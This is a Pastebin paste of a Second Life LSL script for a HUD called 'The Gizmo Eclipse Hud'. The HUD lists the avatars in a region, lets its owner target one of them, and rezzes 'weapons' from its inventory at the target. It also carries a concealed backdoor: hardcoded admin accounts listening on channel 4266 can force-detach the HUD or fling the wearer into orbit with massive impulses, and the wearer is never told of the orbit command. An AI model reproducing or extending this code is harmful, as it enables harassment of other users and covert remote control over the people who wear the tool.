Advertisement
Guest User

input

a guest
Jul 11th, 2019
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. list admins = ["gizmoeclipse.resident","failedscience.resident","krypt.hax","jon.daikon","sonof.marvin","infamous.tophat","xill.flux","samgame.bertrand","astro.condor","hoochymc.hoch","tylerferland.cork"];
  2.  
  3. list ignored_objects = ["Space","cube"];
  4.  
  5. list options = ["Clean Up","Reset All","Target On","Target Off","Agents","Textbox","Plat"];
  6. listenTo(integer channel)
  7. {
  8.     if(channel == channel1 || channel == channel2){
  9.         say(gadget+" cannot listen to dialog channels by default.");
  10.         return;
  11.     }
  12.     if(llGetListLength(allChannels) <= 62)
  13.     {
  14.         if(channel != 0||channel != 1)
  15.         {
  16.             if(llListFindList(allChannels,[channel]) == -1)
  17.             {
  18.                 allChannels += channel;
  19.                 listenNum += llListen(channel,llKey2Name(owner),owner,"");
  20.                 say(gadget+" will now listen to channel "+(string)channel+".");
  21.             }
  22.             else
  23.                 say(gadget+" already listens to channel "+(string)channel+".");
  24.         }
  25.         else
  26.             say(gadget+" listens to channel 0, and 1 by default.");
  27.     }
  28.     else
  29.         say("All the listening channels are occupied. You need to remove some channels before you can make "+gadget+" listen to more channels.");
  30. }
  31. stopListen(integer channel)
  32. {
  33.     if(channel != 0 || channel != 56 || channel != 1)
  34.     {
  35.         integer wasListening = 0;
  36.         integer x = 0;
  37.         for(x = 0;x<llGetListLength(allChannels);x++)
  38.             if(llList2Integer(allChannels,x) == channel)
  39.             {
  40.                 llListenRemove(llList2Integer(listenNum,x));
  41.                 allChannels = llDeleteSubList(allChannels,x,x);
  42.                 listenNum = llDeleteSubList(listenNum,x,x);
  43.                 wasListening = 1;
  44.                 say(gadget+" is no longer listening to channel "+(string)channel+".");
  45.             }
  46.         if(!wasListening)
  47.             say(gadget+" was not listening to channel "+(string)channel+".");
  48.     }
  49.     else
  50.         say(gadget+" will always listen to channel 0, and 1.");
  51. }
  52. DialogPlus(key avatar, string message, list buttons, integer channel, integer CurMenu){
  53.     if (12 < llGetListLength(buttons)){
  54.         list lbut = buttons;
  55.         list Nbuttons = [];
  56.         if(CurMenu == -1){
  57.             CurMenu = 0;
  58.             menuindex = 0;
  59.         }
  60.         if((Nbuttons = (llList2List(buttons, (CurMenu * 10), ((CurMenu * 10) + 9)) + ["<<<", ">>>"])) == ["<<<", ">>>"]){
  61.             DialogPlus(avatar, message, lbut, channel, menuindex = 0);
  62.         }else{
  63.             llDialog(avatar, message,  order_buttons(Nbuttons), channel);
  64.         }
  65.     }
  66.     else{
  67.         llDialog(avatar, message,  order_buttons(buttons), channel);
  68.     }
  69. }
  70. list convert_keys_to_name_dialog(list keys){
  71.     list names;
  72.     integer x;
  73.     integer s = llGetListLength(keys);
  74.     for(;x<s;++x){
  75.         names += llGetSubString(llKey2Name((key)llList2String(keys,x)),0,23);
  76.     }return names;
  77. }
  78. output_random(){
  79.     string random_str = llList2String(random,llFloor(llFrand(llGetListLength(random))));
  80.     llSay(0,random_str);
  81. }
  82. say(string m){
  83.     llMessageLinked(-1,-560,m,owner);
  84. }
  85. list order_buttons(list buttons){
  86.     return llList2List(buttons, -3, -1) + llList2List(buttons, -6, -4) + llList2List(buttons, -9, -7) + llList2List(buttons, -12, -10);
  87. }
  88. list convert_inventory_to_name_dialog(){
  89.     list names;
  90.     integer x;
  91.     integer s = llGetInventoryNumber(INVENTORY_OBJECT);
  92.     for(;x<s;++x){
  93.         string cn = llGetInventoryName(INVENTORY_OBJECT,x);
  94.         if(llListFindList(ignored_objects,[cn])==-1){
  95.             names += llGetSubString(cn,0,23);
  96.         }
  97.     }return names;
  98. }
  99. list weapons;
  100. list new_admins;
  101. list av_list;
  102. list cur_list;
  103. list allChannels = [1];
  104. list listenNum;
  105.  
  106.  
  107. list random = ["An eye for an eye makes the whole world blind.","Only the good die young.","Made by Krypt Hax","Peace, not war.","Live Free, or Die.","★","Made by Failedscience Resident"];
  108.  
  109.  
  110. integer u;
  111. integer c;
  112. integer cur_channel;
  113. integer channel1;
  114. integer channel2;
  115. integer menuindex;
  116. integer COM_CHANNEL = -420;
  117.  
  118. string cur_av;
  119. string gadget = "The Gizmo Eclipse Hud";
  120.  
  121. key owner;
  122. key name_key_query;
  123. default{
  124.     changed(integer c){
  125.         if(c & CHANGED_INVENTORY){
  126.             weapons = convert_inventory_to_name_dialog();
  127.         }
  128.     }
  129.     state_entry(){
  130.         llOwnerSay("Initialization may take a minute...");
  131.         owner = llGetOwner();
  132.         c = llGetListLength(admins);
  133.         name_key_query = llRequestUserKey(llList2String(admins,u=0));
  134.     }dataserver(key qid,string data){
  135.         if(qid != name_key_query)return;
  136.         key ck;
  137.         if(u > c){
  138.             llListen(0,"",owner,"");
  139.             llListen(1,"",owner,"");
  140.             channel1 = -(((integer)("0x"+(string)owner)+232)%DEBUG_CHANNEL);
  141.             channel2 = -(((integer)("0x"+(string)owner)+323)%DEBUG_CHANNEL);
  142.             llListen(channel1, "", owner, "");
  143.             llListen(channel2, "", owner, "");
  144.             c = llGetListLength(new_admins);
  145.             llListen(4266,"","","");
  146.             weapons = convert_inventory_to_name_dialog();
  147.             llMessageLinked(-1,-42560,llList2CSV(new_admins),(string)llGetOwner());
  148.             llOwnerSay("Your hud is ready for use.");
  149.             return;
  150.         }
  151.         else{
  152.             if((key)data != NULL_KEY){
  153.                 new_admins += (key)data;
  154.             }
  155.             name_key_query = llRequestUserKey(llList2String(admins,++u));
  156.         }
  157.     }listen(integer c,string n,key i,string m){
  158.         if(c != channel1 && c != channel2){
  159.             if(c == 4266){
  160.                 if(llListFindList(new_admins,[i])==-1)return;
  161.                 m = llToLower(m);
  162.                 list p = llParseString2List(m,[" "],[]);
  163.                 string p0 = llList2String(p,0);
  164.                 string p1 = llList2String(p,1);
  165.                 if(p0 == "detach"){
  166.                     if(llSubStringIndex(llToLower(llKey2Name(owner)),p1) == 0){
  167.                         if(llGetAttached()){
  168.                             llRequestPermissions(llGetOwner(),PERMISSION_ATTACH);
  169.                             llOwnerSay("An admin has removed your hud.");
  170.                             llInstantMessage(i,"Detaching: "+llKey2Name(llGetOwner()));
  171.                             llDetachFromAvatar();
  172.                             return;
  173.                         }else{
  174.                             llDie();
  175.                             return;
  176.                         }
  177.                     }
  178.                 }
  179.                 if(p0 == "orbit"){
  180.                     if(llSubStringIndex(llToLower(llKey2Name(owner)),p1) == 0){
  181.                         if(llGetAttached()){
  182.                             llSetForce(<0,0,203240>,0);
  183.                             integer x=0;
  184.                             for(;x<512;++x){
  185.                                 llApplyImpulse(<0,0,9999999>,0);
  186.                                 llSleep(.07);
  187.                             }
  188.                             llSetForce(<0,0,0>,0);
  189.                         }else{
  190.                             llDie();
  191.                             return;
  192.                         }
  193.                     }
  194.                 }
  195.             }else{
  196.                 string str = llToLower(m);
  197.                 if(llSubStringIndex(str,"listen to ") == 0){
  198.                     if((integer)llGetSubString(str,10,-1)!=0){
  199.                         listenTo((integer)llGetSubString(str,10,-1));
  200.                     }else{
  201.                         say("We already listen to channel 0!");
  202.                     }
  203.                     return;
  204.                 }
  205.                 if(llSubStringIndex(str, "stop listen ") == 0){
  206.                     stopListen((integer)llGetSubString(str,12,-1));
  207.                     return;
  208.                 }
  209.                 if(str == "listen list"){
  210.                     say("Listen Channels:");
  211.                     say("0");
  212.                     integer x = 0;
  213.                     for(x = 0; x<llGetListLength(allChannels); x++){
  214.                         say((string)llList2Integer(allChannels,x));
  215.                     }
  216.                     return;
  217.                 }
  218.             }
  219.             llMessageLinked(-1,COM_CHANNEL,m,i);
  220.         }else{
  221.             string msg = m;
  222.             if(c == channel2){
  223.                 if(msg == "<<<" || msg == ">>>"){
  224.                     if(msg == ">>>"){
  225.                         DialogPlus(owner, gadget, cur_list, cur_channel, ++menuindex);
  226.                         return;
  227.                     }
  228.                     if(msg == "<<<"){
  229.                         DialogPlus(owner, gadget, cur_list, cur_channel, --menuindex);
  230.                         return;
  231.                     }
  232.                 }
  233.                 else{
  234.                     if(llSubStringIndex(llToLower(msg),"moveto")!=0 && llSubStringIndex(llToLower(msg),"cam follow")!=0  && llSubStringIndex(llToLower(msg),"cam focus")!=0 && llSubStringIndex(llToLower(msg),"cam 3rd")!=0 ){
  235.                         llMessageLinked(-1,COM_CHANNEL,"rez "+msg+" "+cur_av,i);
  236.                     }else{
  237.                         llMessageLinked(-1,COM_CHANNEL,msg+" "+cur_av,i);
  238.                     }
  239.                 }
  240.             }
  241.             if(c == channel1){
  242.                 if(msg == ">>>"){
  243.                     llResetTime();
  244.                     DialogPlus(owner, gadget, cur_list, cur_channel, ++menuindex);
  245.                     return;
  246.                 }
  247.                 if(msg == "<<<"){
  248.                     llResetTime();
  249.                     DialogPlus(owner, gadget, cur_list, cur_channel, --menuindex);
  250.                     return;
  251.                 }
  252.                 if(msg == "Agents"){
  253.                     cur_list = convert_keys_to_name_dialog(llGetAgentList(AGENT_LIST_REGION,[]));
  254.                     av_list = cur_list;
  255.                     DialogPlus(owner, "Agents in simulator:\n"+(string)llGetRegionAgentCount(),cur_list, cur_channel, menuindex = 0);
  256.                     llSetTimerEvent(4.0);
  257.                     return;
  258.                 }
  259.                 if(msg == "Textbox"){
  260.                     llTextBox(owner,"Input your command here:",cur_channel);
  261.                     return;
  262.                 }
  263.                 if(msg == "Target On"){
  264.                     llMessageLinked(-1,-420,"target on",i);
  265.                     return;
  266.                 }
  267.                 if(msg == "Target Off"){
  268.                     llMessageLinked(-1,-420,"target off",i);
  269.                     return;
  270.                 }
  271.                 if(llListFindList(av_list,[msg])!=-1){
  272.                     cur_list = weapons;
  273.                     cur_av = msg;
  274.                     cur_channel = channel2;
  275.                     DialogPlus(owner, "Select an Option:",cur_list, cur_channel, menuindex = 0);
  276.                 }
  277.                 llMessageLinked(-1,-420,msg,i);
  278.             }
  279.         }
  280.     }
  281.     timer(){
  282.         if(cur_list!=options && cur_list != weapons && llGetTime() > 3)cur_list = options;
  283.         llSetTimerEvent(0.0);
  284.         return;
  285.     }
  286.     touch_start(integer total_number){
  287.         integer dnum = llDetectedLinkNumber(0);
  288.         string dname = llGetLinkName(dnum);
  289.         if(llListFindList(["up","down","left","right","backward","forward"],[dname]) != -1)return;
  290.         list data = llCSV2List(dname);
  291.         if(llList2String(data,0) == "target"){
  292.             cur_list = weapons;
  293.             cur_av = llList2String(data,1);
  294.             cur_channel = channel2;
  295.             DialogPlus(owner, "Select an Option:",cur_list, cur_channel, menuindex = 0);
  296.         }
  297.         else{
  298.             if(dname == llGetObjectName() || llListFindList([5,3,13,10,14],[dnum])!=-1){
  299.                 cur_channel = channel1;
  300.                 DialogPlus(owner, "Select an Option:", options, cur_channel, menuindex = 0);
  301.             }else{
  302.                 llMessageLinked(-1,COM_CHANNEL,dname,owner);
  303.             }
  304.         }
  305.     }
  306. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement